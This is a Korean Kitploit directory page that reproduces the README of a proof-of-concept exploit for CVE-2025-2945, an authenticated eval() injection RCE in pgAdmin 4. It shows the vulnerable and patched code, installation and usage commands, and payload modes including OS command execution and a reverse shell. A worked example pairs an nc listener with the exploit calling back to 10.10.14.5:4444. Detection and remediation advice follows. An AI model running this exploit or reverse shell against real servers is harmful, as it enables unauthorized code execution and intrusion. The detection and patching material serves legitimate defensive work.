Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-2945-pgAdmin-RCE — # CVE-2025-2945 PoC — pgAdmin 4 인증된 eval() 주입 RCE, CVSS 9.9 | Kitploit
도구/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

# CVE-2025-2945 PoC — pgAdmin 4 인증된 eval() 주입 RCE, CVSS 9.9

저장소 보기
1일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-2945 — pgAdmin 4 인증된 쿼리 도구 RCE

CVSS 3.1: 9.9 (치명적) · 영향: pgAdmin 4 8.10 – 9.1 · 수정 버전: 9.2 (2025년 4월 4일) CWE-95 (동적으로 평가되는 코드의 지시문 부적절한 중립화 / Eval 주입)

CVE-2025-2945에 대한 개념 증명 익스플로잇으로, pgAdmin 4의 쿼리 도구에서 발생하는 인증된 원격 코드 실행 취약점입니다. 부울 트랜잭션 상태 플래그 (query_commited)가 부울로 파싱되지 않고 Python의 eval()에 직접 전달되어, 인증된 사용자가 pgAdmin 서비스 프로세스의 권한으로 임의의 Python 코드 — 나아가 임의의 OS 명령 — 을 실행할 수 있습니다. 동일한 안티패턴이 클라우드 배포 모듈의 Google 제공자(high_availability)에도 두 번째로 존재합니다.

근본 원인, 익스플로잇 로직, 탐지 지침 및 수정 방법을 다루는 전체 기술 문서는 여기에서 확인할 수 있습니다: khashayarnazarkardeh.com — Field Notes


취약점 요약

취약한 코드 (web/pgadmin/tools/sqleditor/__init__.py):

root@kitploit:~
if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )

(pgAdmin 9.2 이상):

수정된 코드
root@kitploit:~
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

이 취약점을 악용하려면 인증된 pgAdmin 세션과 대상 계정에 이미 등록된 데이터베이스 서버에 바인딩된 쿼리 도구 트랜잭션이 필요합니다. 둘 다 실제 배포 환경에서 흔한 전제 조건이며, pgAdmin은 일반적으로 하나 이상의 저장된 서버 연결로 사전 구성되어 있습니다.

요구 사항

  • Python 3.8 이상
  • 유효한 pgAdmin 웹 계정 (--username / --password)
  • 해당 pgAdmin 계정에 이미 등록된 데이터베이스 서버의 자격 증명 (--db-user / --db-password / --db-name)
  • 8.10 ~ 9.1(포함) 사이의 pgAdmin 4를 실행 중인 대상

설치

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

사용법

root@kitploit:~
python3 CVE-2025-2945.py \
    --host <target> --port 80 \
    --username <pgadmin-email> --password <pgadmin-password> \
    --db-user <db-user> --db-password <db-password> --db-name <db-name> \
    --cmd id

페이로드 모드 (하나 선택)

플래그설명
--cmd COMMANDos.system()을 통해 단일 OS 명령 실행
--reverse-shell HOST:PORT사용자가 제어하는 리스너로 명명된 파이프 리버스 셸 생성
--raw-payload EXPR취약한 eval() 싱크에 원시 Python 표현식을 직접 전달

예시 — 리버스 셸

root@kitploit:~
# 공격 호스트에서 별도의 터미널로:
nc -lvnp 4444

# 익스플로잇 실행:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

전체 옵션

root@kitploit:~
python3 CVE-2025-2945.py --help

탐지

방어자는 다음을 모니터링해야 합니다:

  • /sqleditor/query_tool/download/<trans_id> 또는 /cloud/deploy에 대한 POST 요청에서 query_commited / high_availability가 리터럴 "true", "false", "1" 또는 "0" 이외의 값인 경우.
  • 두 매개변수에 나타나는 Python 실행 프리미티브(__import__, os.system, subprocess, eval, exec, open().
  • pgAdmin 서비스 계정에서 생성된 예기치 않은 자식 프로세스, 특히 셸 인터프리터 또는 네트워크 유틸리티.

수정 방법

pgAdmin 4 9.2 이상으로 업그레이드하세요. 이 패치는 최소한의 저위험 부울 강제 변환 수정입니다. 즉각적인 패치가 불가능한 경우, pgAdmin에 대한 네트워크 접근을 신뢰할 수 있는 인증된 네트워크로 제한하고, 필요하지 않은 계정에 대해서는 클라우드 배포 모듈을 비활성화하세요.

참고 자료

  • NVD — CVE-2025-2945
  • GitHub Security Advisory — GHSA-g73c-fw68-pwx3
  • pgAdmin issue #8603
  • Fix commit — 75be0bc

작성자

Khashayar Nazarkardeh — 사이버보안 및 AI 보안 리더 khashayarnazarkardeh.com · @Khashayarnzk

면책 조항

이 도구는 공인된 보안 테스트, 연구 및 교육 목적으로만 제공됩니다. 시스템 소유자의 명시적이고 문서화된 승인 없이 이 도구를 어떤 시스템에 실행하는 것은 대부분의 관할권에서 불법입니다. 작성자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다. 이 스크립트를 사용함으로써 귀하는 대상 테스트 권한이 있음을 확인할 책임이 전적으로 귀하에게 있음을 동의하는 것입니다.

도구 다운로드